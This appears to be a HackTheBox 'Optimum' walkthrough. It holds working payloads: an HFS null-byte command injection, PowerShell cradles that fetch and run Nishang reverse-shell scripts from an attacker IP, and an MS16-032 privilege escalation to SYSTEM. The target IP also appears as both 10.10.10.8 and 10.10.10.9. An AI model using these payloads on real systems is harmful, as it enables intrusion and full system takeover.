Optimum
Optimum - 10.10.10.8
Target Enumeration
IP: 10.10.10.9
User: d0c39409d7b994a9a1389ebf38ef5f73
Root: 51ed1b36553c8461f4552c2e92b3eeed
Ports / Services / Software Versions Running
80/tcp open http HttpFileServer httpd 2.3Vulnerability Exploited:
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution
https://www.exploit-db.com/exploits/39161/
Vulnerability Explanation:
Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8.
Privilege Escalation
MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation
https://www.exploit-db.com/exploits/39719/
Replicating the exploit:
Nmap
UDP
Port 80 in browser
Version number on page and in sourcecode:
Searchsploit
Copy to current dir
searchsploit -m windows/remote/39161.pyModify the file with
Requires nc in current dir server over port 80 and start a listener on port 443
Execute the script
Now you have a low priv shell
Proof
That’s the easy way. There is also a metasploit module. Harder way, via the webapp.
Null bytes allow code execution
Send that to the repeater and ping your localhost
Use TCP dump to see if you can see the ping
Now download nishang
git clone https://github.com/samratashok/nishang.git
Copy powershell command to local folder (do not edit)
cp nishang/Shells/Invoke-PowerShellTcp.ps1 .
Add the following to the bottom of the file
Check you can ping with powershell
/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe ping 10.10.14.2}
Check with tcpdump which should respond.
Replace ping with the following which needs to be URL encoded.:
/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2/Invoke-PowerShellTcp.ps1').}
After a while you will have a Powershell shell.
Run systeminfo and Sherlock.ps1 from within powershell
IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.2/Sherlock.ps1")
It appears its vulnerable to MS16-032
We do not have an interactive session so will need to download Empire to elevate our privileges
git clone https://github.com/EmpireProject/Empire.git
cp /root/Data/Lab/Hackthebox/HackTheBox/10.10.10.8/10.10.10.8/Empire/data/module_source/privesc/Invoke-MS16032.ps1
Modify with this line at the bottom
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.2/shell.ps1')"
Copy existing powershell tcp script to shell.ps1
Amend the last line to the following and set up a nc listener on port 444
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 444
Execute the following as a low priv user:
IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.2/Invoke-MS16032.ps1")
Wait for a while and you will receive a system shell.
Evidence
Last updated